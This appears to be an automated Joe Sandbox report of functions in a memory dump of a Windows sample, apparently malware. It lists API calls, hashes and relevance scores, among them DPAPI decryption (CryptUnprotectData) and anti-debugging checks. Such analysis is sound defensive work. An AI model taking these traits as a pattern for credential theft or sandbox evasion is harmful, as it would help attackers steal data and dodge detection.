Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: 7b7f7e59648351b4cefdfe5b076a920fe889498530794efb4775c72de62d508a
Instruction ID: 3b20fbb6adcc2108ab9cfb5901c719ef884f7b4a73bc41fdc947f69761eaa289
Opcode Fuzzy Hash: 7b7f7e59648351b4cefdfe5b076a920fe889498530794efb4775c72de62d508a
Instruction Fuzzy Hash: 60110D33E10209FBDB11EBA4CD8ABAE77BDAF45351F250965E501A2080DB70DB46CF61

Function 0018A7AD Relevance: 9.1, APIs: 6, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0018A7EA
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0018AABC), ref: 0018A805
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0018A80D
_memmove.LIBCMT ref: 0018A890
lstrcatA.KERNEL32(001B6801,001B6803,?,00000000,00000000,00000000,00000000,00000014,?,0018AABC), ref: 0018A8BA
lstrcatA.KERNEL32(001B6801,001B680A,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0018AABC), ref: 0018A8D0

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptString_memmove_memsetlstrlen
String ID:
API String ID: 943939369-0
Opcode ID: 4fca05115cedcf530c48018fe2e60da40799a93a3032913ce20e88f136ae1afb
Instruction ID: c92caefbe6dfcce212fad52f41d18357becca9677b7cd568e15ffee4bf98cc5a
Opcode Fuzzy Hash: 4fca05115cedcf530c48018fe2e60da40799a93a3032913ce20e88f136ae1afb
Instruction Fuzzy Hash: 61315CB1D0011AAFDB11AB54ED849FABBBCAF09341F8400B7F40AE7140E7785A458F62

Function 001AB11C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,001AB785,?,001A8536,?,000000BC,?), ref: 001AB15B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,001AB785,?,001A8536,?,000000BC,?), ref: 001AB184
GetACP.KERNEL32(?,?,001AB785,?,001A8536,?,000000BC,?), ref: 001AB198

Strings

ACP, xrefs: 001AB12B
OCP, xrefs: 001AB13C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 56b80d1c9f2e7983199ac2901a72b8fc1a0f547f98c359517dd730c0cd7995f4
Instruction ID: 7a9f409f4a02ad3cb75731caa0d9fbd7057e5accbfbd9b3bfdcec955dd044218
Opcode Fuzzy Hash: 56b80d1c9f2e7983199ac2901a72b8fc1a0f547f98c359517dd730c0cd7995f4
Instruction Fuzzy Hash: 33012035A09686BAEB269B64FCA6F5F73F89F06358F104014F001E50D2E770CEC1D654

Function 0019D05A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0019D492
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0019D4A7
UnhandledExceptionFilter.KERNEL32(001B332C), ref: 0019D4B2
GetCurrentProcess.KERNEL32(C0000409), ref: 0019D4CE
TerminateProcess.KERNEL32(00000000), ref: 0019D4D5

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3542c155f0dd6a4390cb80090e4c90600bae8c8cf72379b1d466810198c66cb2
Instruction ID: 8059b049833714536b75ee0b4f3dbe49693d50e5015898e933310ab2b37f886e
Opcode Fuzzy Hash: 3542c155f0dd6a4390cb80090e4c90600bae8c8cf72379b1d466810198c66cb2
Instruction Fuzzy Hash: 6D21CEB4803206DFDB15EF28FC44A983BA5FB58300F108A1BF51897A60E7B099C6CF95

Function 001880A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0018823B), ref: 001880C4
LocalAlloc.KERNEL32(00000040,0018823B,?,?,0018823B,0018CB6A,?,?,?,?,?,?,?,0018CC65,?,?), ref: 001880D8
LocalFree.KERNEL32(0018CB6A,?,?,0018823B,0018CB6A,?,?,?,?,?,?,?,0018CC65,?,?), ref: 001880FD

Strings

DPAPI, xrefs: 001880A9

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 5c3543e80952f2db94a20e6f943727b62577da7b3ae3ec231d5dcfff2ecccc59
Instruction ID: 28a35c7c18cb5c11d78e68a067fbe04412f25feacf6d6d6a7d749588346c76a8
Opcode Fuzzy Hash: 5c3543e80952f2db94a20e6f943727b62577da7b3ae3ec231d5dcfff2ecccc59
Instruction Fuzzy Hash: FB01DA76A01218AFCB01EFA8D98489EBBBDFB48714B108466E906E7340D7719E05CB90

Function 0019C00B Relevance: 6.1, APIs: 4, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,74DE83C0,00000000,?,?,?,?,?,?,0019C5D4,?,00196F69,?), ref: 0019C05E
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0019C5D4,?,00196F69), ref: 0019C08E
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0019C5D4,?,00196F69,?), ref: 0019C0BA
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0019C5D4,?,00196F69,?), ref: 0019C0C8

Part of subcall function 0019B9D6: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,?), ref: 0019BA0A

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: 890a707f137803c3cd0b93e50280db566a50a74881ec393875b0354d1d637134
Instruction ID: d6b76a18a31a719db2d4aa6699bac852e5a1cefe96a396482db322f3aa09c0c2
Opcode Fuzzy Hash: 890a707f137803c3cd0b93e50280db566a50a74881ec393875b0354d1d637134
Instruction Fuzzy Hash: 82415C71900209DFCF15DF69D884A9EBBF8FF88310F14026AE855EB266E3349945CFA0

Function 00191E32 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,003DE708,?,?,?,001928E1,?,?,00000000), ref: 00191E52
GetProcessHeap.KERNEL32(00000000,?,?,?,?,001928E1,?,?,00000000), ref: 00191E5F
HeapAlloc.KERNEL32(00000000,?,?,?,001928E1,?,?,00000000), ref: 00191E66

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 4f83b951d043773a207f332b5db811271e6b0feafd76cd143c1d733738d75ea4
Instruction ID: 84d55f4e55776a8812b0b896f2b29e02b32ac166798ad6ca65acd002abb35ca5
Opcode Fuzzy Hash: 4f83b951d043773a207f332b5db811271e6b0feafd76cd143c1d733738d75ea4
Instruction Fuzzy Hash: 9A011E71501209FFEF129F61EC488AB7FBEFF497A4B108559F80597110D7319990EB60

Function 00188048 Relevance: 6.0, APIs: 4, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(00186724,00000000,00000001,00000000,?,00000000,00000000), ref: 00188060
LocalAlloc.KERNEL32(00000040,?,?,?,00186724,?), ref: 0018806E
CryptStringToBinaryA.CRYPT32(00186724,00000000,00000001,00000000,?,00000000,00000000), ref: 00188084
LocalFree.KERNEL32(?,?,?,00186724,?), ref: 00188093

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 4b05967053b90ca7063e771e22bdb0233ed80f9fbb0524c2d37fb18bb7a2e843
Instruction ID: cb7d715cb997a14ed031050a0e925c873b5d5a421ca132f6509f63ca1165de2b
Opcode Fuzzy Hash: 4b05967053b90ca7063e771e22bdb0233ed80f9fbb0524c2d37fb18bb7a2e843
Instruction Fuzzy Hash: 98F0C474102234BBDB326F66DC49E9B7FACEF0ABA0F100455F909DA250D7718A40DBA1

Function 0018145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0018146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00181474

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 8437ee90f842dfdc8b8468ccba0eefcb837078989cdd4aaab461a31ae3abe5fb
Instruction ID: b496fd48f2de33c5f725f98a217794ad9d80878f3d5b985c98e388b0721d9626
Opcode Fuzzy Hash: 8437ee90f842dfdc8b8468ccba0eefcb837078989cdd4aaab461a31ae3abe5fb
